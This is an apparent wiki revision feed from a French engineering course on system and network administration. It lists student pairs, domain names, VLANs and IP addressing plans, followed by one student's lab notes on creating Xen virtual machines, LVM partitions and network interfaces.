|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12209</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12209"/>
		<updated>2026-02-10T16:46:55Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Tableau des réseaux virtuels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E7-Yassine&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12174</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12174"/>
		<updated>2026-02-10T15:40:02Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Test de la LAN */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
